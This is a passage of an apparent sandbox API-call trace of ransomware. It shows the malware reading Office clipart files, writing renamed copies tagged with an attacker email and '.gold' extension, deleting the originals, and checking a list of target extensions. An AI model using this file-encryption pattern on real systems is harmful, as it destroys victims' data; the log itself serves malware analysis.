dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.381] GetLastError () returned 0x0 [0095.381] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x45ba, lpOverlapped=0x0) returned 1 [0095.383] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0095.384] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.384] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.384] SetEndOfFile (hFile=0x3c8) returned 1 [0095.384] CloseHandle (hObject=0x3c8) returned 1 [0095.384] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.384] SetEndOfFile (hFile=0x3c4) returned 1 [0095.386] CloseHandle (hObject=0x3c4) returned 1 [0095.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString=".doc") returned 4 [0095.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString=".docx") returned 5 [0095.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.387] lstrlenW (lpString=".pdf") returned 4 [0095.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString=".xls") returned 4 [0095.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.387] lstrlenW (lpString=".xlsx") returned 5 [0095.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.387] lstrlenW (lpString=".ppt") returned 4 [0095.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString=".zip") returned 4 [0095.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.387] lstrlenW (lpString=".rar") returned 4 [0095.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString=".bz2") returned 4 [0095.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString=".7z") returned 3 [0095.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString=".dbf") returned 4 [0095.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString=".1cd") returned 4 [0095.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString=".jpg") returned 4 [0095.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.387] lstrlenW (lpString=".doc") returned 4 [0095.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString=".docx") returned 5 [0095.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.388] lstrlenW (lpString=".pdf") returned 4 [0095.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString=".xls") returned 4 [0095.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.388] lstrlenW (lpString=".xlsx") returned 5 [0095.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.388] lstrlenW (lpString=".ppt") returned 4 [0095.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.388] lstrlenW (lpString=".zip") returned 4 [0095.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.388] lstrlenW (lpString=".rar") returned 4 [0095.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString=".bz2") returned 4 [0095.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString=".7z") returned 3 [0095.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.388] lstrlenW (lpString=".dbf") returned 4 [0095.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.388] lstrlenW (lpString=".1cd") returned 4 [0095.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0095.388] lstrlenW (lpString=".jpg") returned 4 [0095.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.388] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.388] lstrlenW (lpString="FD00076_.WMF") returned 12 [0095.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.389] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11994) returned 1 [0095.389] CloseHandle (hObject=0x3c4) returned 1 [0095.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0095.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.389] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.389] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.390] GetLastError () returned 0x0 [0095.390] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2eda, lpOverlapped=0x0) returned 1 [0095.391] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0095.392] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.392] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.392] SetEndOfFile (hFile=0x3c8) returned 1 [0095.392] CloseHandle (hObject=0x3c8) returned 1 [0095.392] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.392] SetEndOfFile (hFile=0x3c4) returned 1 [0095.394] CloseHandle (hObject=0x3c4) returned 1 [0095.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0095.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.395] lstrlenW (lpString=".doc") returned 4 [0095.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.395] lstrlenW (lpString=".docx") returned 5 [0095.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.395] lstrlenW (lpString=".pdf") returned 4 [0095.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.395] lstrlenW (lpString=".xls") returned 4 [0095.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.395] lstrlenW (lpString=".xlsx") returned 5 [0095.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.395] lstrlenW (lpString=".ppt") returned 4 [0095.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.395] lstrlenW (lpString=".zip") returned 4 [0095.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.395] lstrlenW (lpString=".rar") returned 4 [0095.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.395] lstrlenW (lpString=".bz2") returned 4 [0095.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.395] lstrlenW (lpString=".7z") returned 3 [0095.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.395] lstrlenW (lpString=".dbf") returned 4 [0095.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".1cd") returned 4 [0095.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".jpg") returned 4 [0095.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".doc") returned 4 [0095.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString=".docx") returned 5 [0095.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.396] lstrlenW (lpString=".pdf") returned 4 [0095.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString=".xls") returned 4 [0095.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.396] lstrlenW (lpString=".xlsx") returned 5 [0095.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.396] lstrlenW (lpString=".ppt") returned 4 [0095.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".zip") returned 4 [0095.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.396] lstrlenW (lpString=".rar") returned 4 [0095.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString=".bz2") returned 4 [0095.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString=".7z") returned 3 [0095.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".dbf") returned 4 [0095.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".1cd") returned 4 [0095.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0095.396] lstrlenW (lpString=".jpg") returned 4 [0095.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.396] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.396] lstrlenW (lpString="FD00077_.WMF") returned 12 [0095.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.397] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=30240) returned 1 [0095.397] CloseHandle (hObject=0x3c4) returned 1 [0095.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0095.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.398] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.398] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.398] GetLastError () returned 0x0 [0095.398] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7620, lpOverlapped=0x0) returned 1 [0095.400] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7630, lpOverlapped=0x0) returned 1 [0095.401] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.401] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.401] SetEndOfFile (hFile=0x3c8) returned 1 [0095.401] CloseHandle (hObject=0x3c8) returned 1 [0095.402] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.402] SetEndOfFile (hFile=0x3c4) returned 1 [0095.710] CloseHandle (hObject=0x3c4) returned 1 [0095.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString=".doc") returned 4 [0095.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString=".docx") returned 5 [0095.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.778] lstrlenW (lpString=".pdf") returned 4 [0095.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString=".xls") returned 4 [0095.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.778] lstrlenW (lpString=".xlsx") returned 5 [0095.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.778] lstrlenW (lpString=".ppt") returned 4 [0095.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString=".zip") returned 4 [0095.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.778] lstrlenW (lpString=".rar") returned 4 [0095.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString=".bz2") returned 4 [0095.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString=".7z") returned 3 [0095.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString=".dbf") returned 4 [0095.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString=".1cd") returned 4 [0095.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString=".jpg") returned 4 [0095.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.778] lstrlenW (lpString=".doc") returned 4 [0095.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString=".docx") returned 5 [0095.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.779] lstrlenW (lpString=".pdf") returned 4 [0095.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString=".xls") returned 4 [0095.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.779] lstrlenW (lpString=".xlsx") returned 5 [0095.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.779] lstrlenW (lpString=".ppt") returned 4 [0095.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.779] lstrlenW (lpString=".zip") returned 4 [0095.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.779] lstrlenW (lpString=".rar") returned 4 [0095.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString=".bz2") returned 4 [0095.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString=".7z") returned 3 [0095.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.779] lstrlenW (lpString=".dbf") returned 4 [0095.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.779] lstrlenW (lpString=".1cd") returned 4 [0095.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0095.779] lstrlenW (lpString=".jpg") returned 4 [0095.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.779] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.779] lstrlenW (lpString="FD00382_.WMF") returned 12 [0095.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.780] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8424) returned 1 [0095.780] CloseHandle (hObject=0x394) returned 1 [0095.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0095.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.780] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.780] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.781] GetLastError () returned 0x0 [0095.781] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x20e8, lpOverlapped=0x0) returned 1 [0095.790] WriteFile (in: hFile=0x230, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, 